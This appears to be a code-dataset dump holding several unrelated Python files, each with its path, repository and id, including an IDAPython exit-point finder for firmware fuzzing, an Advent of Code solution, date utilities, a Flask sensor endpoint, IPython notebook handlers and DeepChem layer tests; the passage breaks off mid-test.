cmdtable['extdiff'][1][1:], _('hg %s [OPTION]... [FILE]...') % cmd)

pt

scripts/idapython/idapy_detect_exitats.py

felkal/fuzzware

13592

import idaapi from idaapi import * inifinite_loops = [ b"\x00\xbf\xfd\xe7", # loop: nop; b loop b"\xfe\xe7", # loop: b loop ] whitelist = [ "Reset_Handler", "main" ] def detect_noret_funcs(): exit_locs_name_pairs = [] for func_addr in Functions(): if get_func_flags(func_addr) & idaapi.FUNC_NORET: name = get_func_name(func_addr) if name not in whitelist: print("noret function: '{}' at 0x{:x}".format(name, func_addr)) exit_locs_name_pairs.append((func_addr, name)) return exit_locs_name_pairs def detect_exit_ats(add_noret_functions=False): # 0. find BKPTs exit_locs = [] # 1. find noret functions if requested if add_noret_functions: exit_locs += detect_noret_funcs() cnt = 0 # 2. find infinite loops and BKPT instructions for segea in Segments(): for funcea in Functions(segea, get_segm_end(segea)): functionName = get_func_name(funcea) for (startea, endea) in Chunks(funcea): for head in Heads(startea, endea): # print(functionName, ":", "0x%08x"%(head), ":", GetDisasm(head)) for loop_code in inifinite_loops: if get_bytes(head, len(loop_code)) == loop_code: print("Found endless loop: 0x{:x} (function {})".format(head, functionName)) exit_locs.append((head, "endless_loop_{:02d}_{}".format(cnt, functionName))) cnt += 1 if print_insn_mnem(head) == 'BKPT': print("Found bkpt: 0x{:x} (function {})".format(head, functionName)) exit_locs.append((head, "bkpt_{:02d}_{}".format(cnt, functionName))) cnt += 1 return exit_locs def print_exit_ats(add_noret_functions=False): exit_locs = detect_exit_ats(add_noret_functions=add_noret_functions) print("exit_at:") for addr, name in exit_locs: print(" {}: 0x{:08x}".format(name, addr)) def dump_exit_ats(filename="exit_ats.yml"): exit_locs = detect_exit_ats() with open(filename, "w") as f: f.write("exit_at:\n") for addr, name in exit_locs: f.write(" {}: 0x{:08x}\n".format(name, addr)) dump_exit_ats()

import idaapi from idaapi import * inifinite_loops = [ b"\x00\xbf\xfd\xe7", # loop: nop; b loop b"\xfe\xe7", # loop: b loop ] whitelist = [ "Reset_Handler", "main" ] def detect_noret_funcs(): exit_locs_name_pairs = [] for func_addr in Functions(): if get_func_flags(func_addr) & idaapi.FUNC_NORET: name = get_func_name(func_addr) if name not in whitelist: print("noret function: '{}' at 0x{:x}".format(name, func_addr)) exit_locs_name_pairs.append((func_addr, name)) return exit_locs_name_pairs def detect_exit_ats(add_noret_functions=False): # 0. find BKPTs exit_locs = [] # 1. find noret functions if requested if add_noret_functions: exit_locs += detect_noret_funcs() cnt = 0 # 2. find infinite loops and BKPT instructions for segea in Segments(): for funcea in Functions(segea, get_segm_end(segea)): functionName = get_func_name(funcea) for (startea, endea) in Chunks(funcea): for head in Heads(startea, endea): # print(functionName, ":", "0x%08x"%(head), ":", GetDisasm(head)) for loop_code in inifinite_loops: if get_bytes(head, len(loop_code)) == loop_code: print("Found endless loop: 0x{:x} (function {})".format(head, functionName)) exit_locs.append((head, "endless_loop_{:02d}_{}".format(cnt, functionName))) cnt += 1 if print_insn_mnem(head) == 'BKPT': print("Found bkpt: 0x{:x} (function {})".format(head, functionName)) exit_locs.append((head, "bkpt_{:02d}_{}".format(cnt, functionName))) cnt += 1 return exit_locs def print_exit_ats(add_noret_functions=False): exit_locs = detect_exit_ats(add_noret_functions=add_noret_functions) print("exit_at:") for addr, name in exit_locs: print(" {}: 0x{:08x}".format(name, addr)) def dump_exit_ats(filename="exit_ats.yml"): exit_locs = detect_exit_ats() with open(filename, "w") as f: f.write("exit_at:\n") for addr, name in exit_locs: f.write(" {}: 0x{:08x}\n".format(name, addr)) dump_exit_ats()

en

2020/src/day11.py

pantaryl/adventofcode

13593

<reponame>pantaryl/adventofcode from collections import defaultdict from helpers import memoize from copy import deepcopy with open("../input/day11.txt", 'r') as inputFile: data = [x.rstrip() for x in inputFile.readlines()] #data = [int(x) for x in data] map = {} yMax = len(data) xMax = len(data[0]) for y in range(yMax): line = data[y] for x in range(xMax): map[(x, y)] = line[x] def anyAdjacentOccupied(x, y, oldMap) -> bool: for xVals in [-1, 0, 1]: for yVals in [-1, 0, 1]: if xVals == 0 and yVals == 0: continue if (xVals+x, yVals+y) in oldMap and oldMap[(xVals+x, yVals+y)] == "#": return True return False def alsoOccupied(x, y, oldMap) -> bool: count = 0 for xVals in [-1, 0, 1]: for yVals in [-1, 0, 1]: if xVals == 0 and yVals == 0: continue if (xVals+x, yVals+y) in oldMap and oldMap[(xVals+x, yVals+y)] == "#": count += 1 return count >= 4 def printMap(map): for y in range(yMax): for x in range(xMax): print(map[(x, y)], end='') print() # Part 1 oldMap = deepcopy(map) for i in range(5000): changed = False newMap = deepcopy(oldMap) for x in range(xMax): for y in range(yMax): if oldMap[(x, y)] == "L" and anyAdjacentOccupied(x, y, oldMap) is False: newMap[(x, y)] = "#" changed = True elif oldMap[(x, y)] == "#" and alsoOccupied(x, y, oldMap): newMap[(x, y)] = "L" changed = True if changed is False: occupied = 0 for _, value in newMap.items(): occupied += 1 if value == "#" else 0 print(occupied) break else: oldMap = newMap #printMap(oldMap) #print() #print() # Part 2 def anyAdjacentOccupied2(x, y, oldMap) -> bool: slopes = [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1)] for slope in slopes: currentXY = (x + slope[0], y + slope[1]) while currentXY in oldMap: if oldMap[currentXY] == "L": break elif oldMap[currentXY] == "#": return True currentXY = (currentXY[0] + slope[0], currentXY[1] + slope[1]) return False def alsoOccupied2(x, y, oldMap) -> bool: count = 0 slopes = [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1)] for slope in slopes: currentXY = (x + slope[0], y + slope[1]) while currentXY in oldMap: if oldMap[currentXY] == "L": break elif oldMap[currentXY] == "#": count += 1 break currentXY = (currentXY[0] + slope[0], currentXY[1] + slope[1]) return count >= 5 oldMap = deepcopy(map) for i in range(500000): changed = False newMap = deepcopy(oldMap) for x in range(xMax): for y in range(yMax): if oldMap[(x, y)] == "L" and anyAdjacentOccupied2(x, y, oldMap) is False: newMap[(x, y)] = "#" changed = True elif oldMap[(x, y)] == "#" and alsoOccupied2(x, y, oldMap): newMap[(x, y)] = "L" changed = True if changed is False: occupied = 0 for _, value in newMap.items(): occupied += 1 if value == "#" else 0 print(occupied) break else: oldMap = newMap #printMap(oldMap) #print() #print() #input()

from collections import defaultdict from helpers import memoize from copy import deepcopy with open("../input/day11.txt", 'r') as inputFile: data = [x.rstrip() for x in inputFile.readlines()] #data = [int(x) for x in data] map = {} yMax = len(data) xMax = len(data[0]) for y in range(yMax): line = data[y] for x in range(xMax): map[(x, y)] = line[x] def anyAdjacentOccupied(x, y, oldMap) -> bool: for xVals in [-1, 0, 1]: for yVals in [-1, 0, 1]: if xVals == 0 and yVals == 0: continue if (xVals+x, yVals+y) in oldMap and oldMap[(xVals+x, yVals+y)] == "#": return True return False def alsoOccupied(x, y, oldMap) -> bool: count = 0 for xVals in [-1, 0, 1]: for yVals in [-1, 0, 1]: if xVals == 0 and yVals == 0: continue if (xVals+x, yVals+y) in oldMap and oldMap[(xVals+x, yVals+y)] == "#": count += 1 return count >= 4 def printMap(map): for y in range(yMax): for x in range(xMax): print(map[(x, y)], end='') print() # Part 1 oldMap = deepcopy(map) for i in range(5000): changed = False newMap = deepcopy(oldMap) for x in range(xMax): for y in range(yMax): if oldMap[(x, y)] == "L" and anyAdjacentOccupied(x, y, oldMap) is False: newMap[(x, y)] = "#" changed = True elif oldMap[(x, y)] == "#" and alsoOccupied(x, y, oldMap): newMap[(x, y)] = "L" changed = True if changed is False: occupied = 0 for _, value in newMap.items(): occupied += 1 if value == "#" else 0 print(occupied) break else: oldMap = newMap #printMap(oldMap) #print() #print() # Part 2 def anyAdjacentOccupied2(x, y, oldMap) -> bool: slopes = [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1)] for slope in slopes: currentXY = (x + slope[0], y + slope[1]) while currentXY in oldMap: if oldMap[currentXY] == "L": break elif oldMap[currentXY] == "#": return True currentXY = (currentXY[0] + slope[0], currentXY[1] + slope[1]) return False def alsoOccupied2(x, y, oldMap) -> bool: count = 0 slopes = [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1)] for slope in slopes: currentXY = (x + slope[0], y + slope[1]) while currentXY in oldMap: if oldMap[currentXY] == "L": break elif oldMap[currentXY] == "#": count += 1 break currentXY = (currentXY[0] + slope[0], currentXY[1] + slope[1]) return count >= 5 oldMap = deepcopy(map) for i in range(500000): changed = False newMap = deepcopy(oldMap) for x in range(xMax): for y in range(yMax): if oldMap[(x, y)] == "L" and anyAdjacentOccupied2(x, y, oldMap) is False: newMap[(x, y)] = "#" changed = True elif oldMap[(x, y)] == "#" and alsoOccupied2(x, y, oldMap): newMap[(x, y)] = "L" changed = True if changed is False: occupied = 0 for _, value in newMap.items(): occupied += 1 if value == "#" else 0 print(occupied) break else: oldMap = newMap #printMap(oldMap) #print() #print() #input()

en

jaqs/util/dtutil.py

WestXu/JAQS

13594

# encoding: utf-8 import datetime import numpy as np import pandas as pd def get_next_period_day(current, period, n=1, extra_offset=0): """ Get the n'th day in next period from current day. Parameters ---------- current : int Current date in format "%Y%m%d". period : str Interval between current and next. {'day', 'week', 'month'} n : int n times period. extra_offset : int n'th business day after next period. Returns ------- nxt : int """ current_dt = convert_int_to_datetime(current) if period == 'day': offset = pd.tseries.offsets.BDay() # move to next business day # offset = offsets.Day elif period == 'week': offset = pd.tseries.offsets.Week(weekday=0) # move to next Monday elif period == 'month': offset = pd.tseries.offsets.BMonthBegin() # move to first business day of next month # offset = offsets.MonthBegin else: raise NotImplementedError("Frequency as {} not support".format(period)) offset = offset * n next_dt = current_dt + offset if extra_offset: next_dt = next_dt + extra_offset * pd.tseries.offsets.BDay() nxt = convert_datetime_to_int(next_dt) return nxt def convert_int_to_datetime(dt): """Convert int date (%Y%m%d) to datetime.datetime object.""" if isinstance(dt, pd.Series): dt = dt.astype(str) elif isinstance(dt, int): dt = str(dt) return pd.to_datetime(dt, format="%Y%m%d") def convert_datetime_to_int(dt): f = lambda x: x.year * 10000 + x.month * 100 + x.day if isinstance(dt, (datetime.datetime, datetime.date)): dt = pd.Timestamp(dt) res = f(dt) elif isinstance(dt, np.datetime64): dt = pd.Timestamp(dt) res = f(dt) else: dt = pd.Series(dt) res = dt.apply(f) return res def shift(date, n_weeks=0): """Shift date backward or forward for n weeks. Parameters ---------- date : int or datetime The date to be shifted. n_weeks : int, optional Positive for increasing date, negative for decreasing date. Default 0 (no shift). Returns ------- res : int or datetime """ delta = pd.Timedelta(weeks=n_weeks) is_int = isinstance(date, (int, np.integer)) if is_int: dt = convert_int_to_datetime(date) else: dt = date res = dt + delta if is_int: res = convert_datetime_to_int(res) return res def combine_date_time(date, time): return np.int64(date) * 1000000 + np.int64(time) def split_date_time(dt): date = dt // 1000000 time = dt % 1000000 return date, time def date_to_month(ser): # ser = pd.Series(ser) res = ser % 10000 // 100 MONTH_MAP = {1: 'Jan', 2: 'Feb', 3: 'Mar', 4: 'Apr', 5: 'May', 6: 'Jun', 7: 'Jul', 8: 'Aug', 9: 'Sep', 10: 'Oct', 11: 'Nov', 12: 'Dec'} # res = res.replace(MONTH_MAP) return res def date_to_year(ser): return ser // 10000

# encoding: utf-8 import datetime import numpy as np import pandas as pd def get_next_period_day(current, period, n=1, extra_offset=0): """ Get the n'th day in next period from current day. Parameters ---------- current : int Current date in format "%Y%m%d". period : str Interval between current and next. {'day', 'week', 'month'} n : int n times period. extra_offset : int n'th business day after next period. Returns ------- nxt : int """ current_dt = convert_int_to_datetime(current) if period == 'day': offset = pd.tseries.offsets.BDay() # move to next business day # offset = offsets.Day elif period == 'week': offset = pd.tseries.offsets.Week(weekday=0) # move to next Monday elif period == 'month': offset = pd.tseries.offsets.BMonthBegin() # move to first business day of next month # offset = offsets.MonthBegin else: raise NotImplementedError("Frequency as {} not support".format(period)) offset = offset * n next_dt = current_dt + offset if extra_offset: next_dt = next_dt + extra_offset * pd.tseries.offsets.BDay() nxt = convert_datetime_to_int(next_dt) return nxt def convert_int_to_datetime(dt): """Convert int date (%Y%m%d) to datetime.datetime object.""" if isinstance(dt, pd.Series): dt = dt.astype(str) elif isinstance(dt, int): dt = str(dt) return pd.to_datetime(dt, format="%Y%m%d") def convert_datetime_to_int(dt): f = lambda x: x.year * 10000 + x.month * 100 + x.day if isinstance(dt, (datetime.datetime, datetime.date)): dt = pd.Timestamp(dt) res = f(dt) elif isinstance(dt, np.datetime64): dt = pd.Timestamp(dt) res = f(dt) else: dt = pd.Series(dt) res = dt.apply(f) return res def shift(date, n_weeks=0): """Shift date backward or forward for n weeks. Parameters ---------- date : int or datetime The date to be shifted. n_weeks : int, optional Positive for increasing date, negative for decreasing date. Default 0 (no shift). Returns ------- res : int or datetime """ delta = pd.Timedelta(weeks=n_weeks) is_int = isinstance(date, (int, np.integer)) if is_int: dt = convert_int_to_datetime(date) else: dt = date res = dt + delta if is_int: res = convert_datetime_to_int(res) return res def combine_date_time(date, time): return np.int64(date) * 1000000 + np.int64(time) def split_date_time(dt): date = dt // 1000000 time = dt % 1000000 return date, time def date_to_month(ser): # ser = pd.Series(ser) res = ser % 10000 // 100 MONTH_MAP = {1: 'Jan', 2: 'Feb', 3: 'Mar', 4: 'Apr', 5: 'May', 6: 'Jun', 7: 'Jul', 8: 'Aug', 9: 'Sep', 10: 'Oct', 11: 'Nov', 12: 'Dec'} # res = res.replace(MONTH_MAP) return res def date_to_year(ser): return ser // 10000

pt

api/pub/sensor/ds18b20.py

rtaft/pi-sensor-dashboard

13595

import flask from flask import request import flask_restful as restful from marshmallow import Schema, fields, validate from api.helpers import success, created from api.exceptions import NotFound from sensors.ds18b20 import lookup class DS18B20Query (restful.Resource): def __init__(self, *args, **kwargs): self.sensor_service = kwargs['sensor_service'] def get(self): available = lookup(self.sensor_service.get_config()) return success(available)

import flask from flask import request import flask_restful as restful from marshmallow import Schema, fields, validate from api.helpers import success, created from api.exceptions import NotFound from sensors.ds18b20 import lookup class DS18B20Query (restful.Resource): def __init__(self, *args, **kwargs): self.sensor_service = kwargs['sensor_service'] def get(self): available = lookup(self.sensor_service.get_config()) return success(available)

none

accenv/lib/python3.4/site-packages/IPython/html/notebook/handlers.py

adamshamsudeen/clubdin-dj

13596

<filename>accenv/lib/python3.4/site-packages/IPython/html/notebook/handlers.py """Tornado handlers for the live notebook view. Authors: * <NAME> """ #----------------------------------------------------------------------------- # Copyright (C) 2011 The IPython Development Team # # Distributed under the terms of the BSD License. The full license is in # the file COPYING, distributed as part of this software. #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Imports #----------------------------------------------------------------------------- import os from tornado import web HTTPError = web.HTTPError from ..base.handlers import IPythonHandler from ..utils import url_path_join #----------------------------------------------------------------------------- # Handlers #----------------------------------------------------------------------------- class NewHandler(IPythonHandler): @web.authenticated def get(self): notebook_id = self.notebook_manager.new_notebook() self.redirect(url_path_join(self.base_project_url, notebook_id)) class NamedNotebookHandler(IPythonHandler): @web.authenticated def get(self, notebook_id): nbm = self.notebook_manager if not nbm.notebook_exists(notebook_id): raise web.HTTPError(404, 'Notebook does not exist: %s' % notebook_id) self.write(self.render_template('notebook.html', project=self.project, notebook_id=notebook_id, kill_kernel=False, mathjax_url=self.mathjax_url, ) ) class NotebookRedirectHandler(IPythonHandler): @web.authenticated def get(self, notebook_name): # strip trailing .ipynb: notebook_name = os.path.splitext(notebook_name)[0] notebook_id = self.notebook_manager.rev_mapping.get(notebook_name, '') if notebook_id: url = url_path_join(self.settings.get('base_project_url', '/'), notebook_id) return self.redirect(url) else: raise HTTPError(404) class NotebookCopyHandler(IPythonHandler): @web.authenticated def get(self, notebook_id): notebook_id = self.notebook_manager.copy_notebook(notebook_id) self.redirect(url_path_join(self.base_project_url, notebook_id)) #----------------------------------------------------------------------------- # URL to handler mappings #----------------------------------------------------------------------------- _notebook_id_regex = r"(?P<notebook_id>\w+-\w+-\w+-\w+-\w+)" _notebook_name_regex = r"(?P<notebook_name>.+\.ipynb)" default_handlers = [ (r"/new", NewHandler), (r"/%s" % _notebook_id_regex, NamedNotebookHandler), (r"/%s" % _notebook_name_regex, NotebookRedirectHandler), (r"/%s/copy" % _notebook_id_regex, NotebookCopyHandler), ]

<filename>accenv/lib/python3.4/site-packages/IPython/html/notebook/handlers.py """Tornado handlers for the live notebook view. Authors: * <NAME> """ #----------------------------------------------------------------------------- # Copyright (C) 2011 The IPython Development Team # # Distributed under the terms of the BSD License. The full license is in # the file COPYING, distributed as part of this software. #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Imports #----------------------------------------------------------------------------- import os from tornado import web HTTPError = web.HTTPError from ..base.handlers import IPythonHandler from ..utils import url_path_join #----------------------------------------------------------------------------- # Handlers #----------------------------------------------------------------------------- class NewHandler(IPythonHandler): @web.authenticated def get(self): notebook_id = self.notebook_manager.new_notebook() self.redirect(url_path_join(self.base_project_url, notebook_id)) class NamedNotebookHandler(IPythonHandler): @web.authenticated def get(self, notebook_id): nbm = self.notebook_manager if not nbm.notebook_exists(notebook_id): raise web.HTTPError(404, 'Notebook does not exist: %s' % notebook_id) self.write(self.render_template('notebook.html', project=self.project, notebook_id=notebook_id, kill_kernel=False, mathjax_url=self.mathjax_url, ) ) class NotebookRedirectHandler(IPythonHandler): @web.authenticated def get(self, notebook_name): # strip trailing .ipynb: notebook_name = os.path.splitext(notebook_name)[0] notebook_id = self.notebook_manager.rev_mapping.get(notebook_name, '') if notebook_id: url = url_path_join(self.settings.get('base_project_url', '/'), notebook_id) return self.redirect(url) else: raise HTTPError(404) class NotebookCopyHandler(IPythonHandler): @web.authenticated def get(self, notebook_id): notebook_id = self.notebook_manager.copy_notebook(notebook_id) self.redirect(url_path_join(self.base_project_url, notebook_id)) #----------------------------------------------------------------------------- # URL to handler mappings #----------------------------------------------------------------------------- _notebook_id_regex = r"(?P<notebook_id>\w+-\w+-\w+-\w+-\w+)" _notebook_name_regex = r"(?P<notebook_name>.+\.ipynb)" default_handlers = [ (r"/new", NewHandler), (r"/%s" % _notebook_id_regex, NamedNotebookHandler), (r"/%s" % _notebook_name_regex, NotebookRedirectHandler), (r"/%s/copy" % _notebook_id_regex, NotebookCopyHandler), ]

it

deepchem/models/tensorgraph/tests/test_layers_eager.py

avimanyu786/deepchem

13597

import deepchem as dc import numpy as np import tensorflow as tf import deepchem.models.tensorgraph.layers as layers from tensorflow.python.eager import context from tensorflow.python.framework import test_util class TestLayersEager(test_util.TensorFlowTestCase): """ Test that layers function in eager mode. """ def test_conv_1d(self): """Test invoking Conv1D in eager mode.""" with context.eager_mode(): width = 5 in_channels = 2 filters = 3 kernel_size = 2 batch_size = 10 input = np.random.rand(batch_size, width, in_channels).astype(np.float32) layer = layers.Conv1D(filters, kernel_size) result = layer(input) self.assertEqual(result.shape[0], batch_size) self.assertEqual(result.shape[2], filters) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Conv1D(filters, kernel_size) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_dense(self): """Test invoking Dense in eager mode.""" with context.eager_mode(): in_dim = 2 out_dim = 3 batch_size = 10 input = np.random.rand(batch_size, in_dim).astype(np.float32) layer = layers.Dense(out_dim) result = layer(input) assert result.shape == (batch_size, out_dim) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Dense(out_dim) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_highway(self): """Test invoking Highway in eager mode.""" with context.eager_mode(): width = 5 batch_size = 10 input = np.random.rand(batch_size, width).astype(np.float32) layer = layers.Highway() result = layer(input) assert result.shape == (batch_size, width) assert len(layer.trainable_variables) == 4 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.Highway() result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_flatten(self): """Test invoking Flatten in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10, 4).astype(np.float32) result = layers.Flatten()(input) assert result.shape == (5, 40) def test_reshape(self): """Test invoking Reshape in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10, 4).astype(np.float32) result = layers.Reshape((100, 2))(input) assert result.shape == (100, 2) def test_cast(self): """Test invoking Cast in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 3) result = layers.Cast(dtype=tf.float32)(input) assert result.dtype == tf.float32 def test_squeeze(self): """Test invoking Squeeze in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 1, 4).astype(np.float32) result = layers.Squeeze()(input) assert result.shape == (5, 4) def test_transpose(self): """Test invoking Transpose in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10, 4).astype(np.float32) result = layers.Transpose((1, 2, 0))(input) assert result.shape == (10, 4, 5) def test_combine_mean_std(self): """Test invoking CombineMeanStd in eager mode.""" with context.eager_mode(): mean = np.random.rand(5, 3).astype(np.float32) std = np.random.rand(5, 3).astype(np.float32) layer = layers.CombineMeanStd(training_only=True, noise_epsilon=0.01) result1 = layer(mean, std, training=False) assert np.array_equal(result1, mean) # No noise in test mode result2 = layer(mean, std, training=True) assert not np.array_equal(result2, mean) assert np.allclose(result2, mean, atol=0.1) def test_repeat(self): """Test invoking Repeat in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 4).astype(np.float32) result = layers.Repeat(3)(input) assert result.shape == (5, 3, 4) assert np.array_equal(result[:, 0, :], result[:, 1, :]) def test_gather(self): """Test invoking Gather in eager mode.""" with context.eager_mode(): input = np.random.rand(5).astype(np.float32) indices = [[1], [3]] result = layers.Gather()(input, indices) assert np.array_equal(result, [input[1], input[3]]) def test_gru(self): """Test invoking GRU in eager mode.""" with context.eager_mode(): batch_size = 10 n_hidden = 7 in_channels = 4 n_steps = 6 input = np.random.rand(batch_size, n_steps, in_channels).astype(np.float32) layer = layers.GRU(n_hidden, batch_size) result, state = layer(input) assert result.shape == (batch_size, n_steps, n_hidden) assert len(layer.trainable_variables) == 3 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.GRU(n_hidden, batch_size) result2, state2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3, state3 = layer(input) assert np.allclose(result, result3) # But if we specify a different starting state, that should produce a # different result. result4, state4 = layer(input, initial_state=state3) assert not np.allclose(result, result4) def test_lstm(self): """Test invoking LSTM in eager mode.""" with context.eager_mode(): batch_size = 10 n_hidden = 7 in_channels = 4 n_steps = 6 input = np.random.rand(batch_size, n_steps, in_channels).astype(np.float32) layer = layers.LSTM(n_hidden, batch_size) result, state = layer(input) assert result.shape == (batch_size, n_steps, n_hidden) assert len(layer.trainable_variables) == 3 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.LSTM(n_hidden, batch_size) result2, state2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3, state3 = layer(input) assert np.allclose(result, result3) # But if we specify a different starting state, that should produce a # different result. result4, state4 = layer(input, initial_state=state3) assert not np.allclose(result, result4) def test_time_series_dense(self): """Test invoking TimeSeriesDense in eager mode.""" with context.eager_mode(): in_dim = 2 out_dim = 3 n_steps = 6 batch_size = 10 input = np.random.rand(batch_size, n_steps, in_dim).astype(np.float32) layer = layers.TimeSeriesDense(out_dim) result = layer(input) assert result.shape == (batch_size, n_steps, out_dim) assert len(layer.trainable_variables) == 2 # Creating a second layer should produce different results, since it has # different random weights. layer2 = layers.TimeSeriesDense(out_dim) result2 = layer2(input) assert not np.allclose(result, result2) # But evaluating the first layer again should produce the same result as before. result3 = layer(input) assert np.allclose(result, result3) def test_l1_loss(self): """Test invoking L1Loss in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.L1Loss()(input1, input2) expected = np.mean(np.abs(input1 - input2), axis=1) assert np.allclose(result, expected) def test_l2_loss(self): """Test invoking L2Loss in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.L2Loss()(input1, input2) expected = np.mean((input1 - input2)**2, axis=1) assert np.allclose(result, expected) def test_softmax(self): """Test invoking SoftMax in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.SoftMax()(input) expected = tf.nn.softmax(input) assert np.allclose(result, expected) def test_sigmoid(self): """Test invoking Sigmoid in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.Sigmoid()(input) expected = tf.nn.sigmoid(input) assert np.allclose(result, expected) def test_relu(self): """Test invoking ReLU in eager mode.""" with context.eager_mode(): input = np.random.normal(size=(5, 10)).astype(np.float32) result = layers.ReLU()(input) expected = tf.nn.relu(input) assert np.allclose(result, expected) def test_concat(self): """Test invoking Concat in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 4).astype(np.float32) result = layers.Concat()(input1, input2) assert result.shape == (5, 14) assert np.array_equal(input1, result[:, :10]) assert np.array_equal(input2, result[:, 10:]) def test_stack(self): """Test invoking Stack in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 4).astype(np.float32) input2 = np.random.rand(5, 4).astype(np.float32) result = layers.Stack()(input1, input2) assert result.shape == (5, 2, 4) assert np.array_equal(input1, result[:, 0, :]) assert np.array_equal(input2, result[:, 1, :]) def test_constant(self): """Test invoking Constant in eager mode.""" with context.eager_mode(): value = np.random.rand(5, 4).astype(np.float32) result = layers.Constant(value)() assert np.array_equal(result, value) def test_variable(self): """Test invoking Variable in eager mode.""" with context.eager_mode(): value = np.random.rand(5, 4).astype(np.float32) layer = layers.Variable(value) result = layer() assert np.array_equal(result.numpy(), value) assert len(layer.trainable_variables) == 1 def test_add(self): """Test invoking Add in eager mode.""" with context.eager_mode(): result = layers.Add()([1, 2], [3, 4]) assert np.array_equal(result, [4, 6]) def test_multiply(self): """Test invoking Multiply in eager mode.""" with context.eager_mode(): result = layers.Multiply()([1, 2], [3, 4]) assert np.array_equal(result, [3, 8]) def test_divide(self): """Test invoking Divide in eager mode.""" with context.eager_mode(): result = layers.Divide()([1, 2], [2, 5]) assert np.allclose(result, [0.5, 0.4]) def test_log(self): """Test invoking Log in eager mode.""" with context.eager_mode(): result = layers.Log()(2.5) assert np.allclose(result, np.log(2.5)) def test_exp(self): """Test invoking Exp in eager mode.""" with context.eager_mode(): result = layers.Exp()(2.5) assert np.allclose(result, np.exp(2.5)) def test_interatomic_l2_distances(self): """Test invoking InteratomicL2Distances in eager mode.""" with context.eager_mode(): atoms = 5 neighbors = 2 coords = np.random.rand(atoms, 3) neighbor_list = np.random.randint(0, atoms, size=(atoms, neighbors)) layer = layers.InteratomicL2Distances(atoms, neighbors, 3) result = layer(coords, neighbor_list) assert result.shape == (atoms, neighbors) for atom in range(atoms): for neighbor in range(neighbors): delta = coords[atom] - coords[neighbor_list[atom, neighbor]] dist2 = np.dot(delta, delta) assert np.allclose(dist2, result[atom, neighbor]) def test_sparse_softmax_cross_entropy(self): """Test invoking SparseSoftMaxCrossEntropy in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 logits = np.random.rand(batch_size, n_features).astype(np.float32) labels = np.random.rand(batch_size).astype(np.int32) result = layers.SparseSoftMaxCrossEntropy()(labels, logits) expected = tf.nn.sparse_softmax_cross_entropy_with_logits( labels=labels, logits=logits) assert np.allclose(result, expected) def test_softmax_cross_entropy(self): """Test invoking SoftMaxCrossEntropy in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 logits = np.random.rand(batch_size, n_features).astype(np.float32) labels = np.random.rand(batch_size, n_features).astype(np.float32) result = layers.SoftMaxCrossEntropy()(labels, logits) expected = tf.nn.softmax_cross_entropy_with_logits_v2( labels=labels, logits=logits) assert np.allclose(result, expected) def test_sigmoid_cross_entropy(self): """Test invoking SigmoidCrossEntropy in eager mode.""" with context.eager_mode(): batch_size = 10 n_features = 5 logits = np.random.rand(batch_size, n_features).astype(np.float32) labels = np.random.randint(0, 2, (batch_size, n_features)).astype(np.float32) result = layers.SigmoidCrossEntropy()(labels, logits) expected = tf.nn.sigmoid_cross_entropy_with_logits( labels=labels, logits=logits) assert np.allclose(result, expected) def test_reduce_mean(self): """Test invoking ReduceMean in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceMean(axis=1)(input) assert result.shape == (5,) assert np.allclose(result, np.mean(input, axis=1)) def test_reduce_max(self): """Test invoking ReduceMax in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceMax(axis=1)(input) assert result.shape == (5,) assert np.allclose(result, np.max(input, axis=1)) def test_reduce_sum(self): """Test invoking ReduceSum in eager mode.""" with context.eager_mode(): input = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceSum(axis=1)(input) assert result.shape == (5,) assert np.allclose(result, np.sum(input, axis=1)) def test_reduce_square_difference(self): """Test invoking ReduceSquareDifference in eager mode.""" with context.eager_mode(): input1 = np.random.rand(5, 10).astype(np.float32) input2 = np.random.rand(5, 10).astype(np.float32) result = layers.ReduceSquareDifference(axis=1)(input1, input2) assert result.shape == (5,) assert np.allclose(result, np.mean((input1 - input2)**2, axis=1)) def test_conv_2d(self): """Test invoking Conv2D in eager mode.""" with context.eager_mode(): length = 4 width = 5 in_channels = 2 filters = 3 kernel_size = 2 batch_size = 10 input = 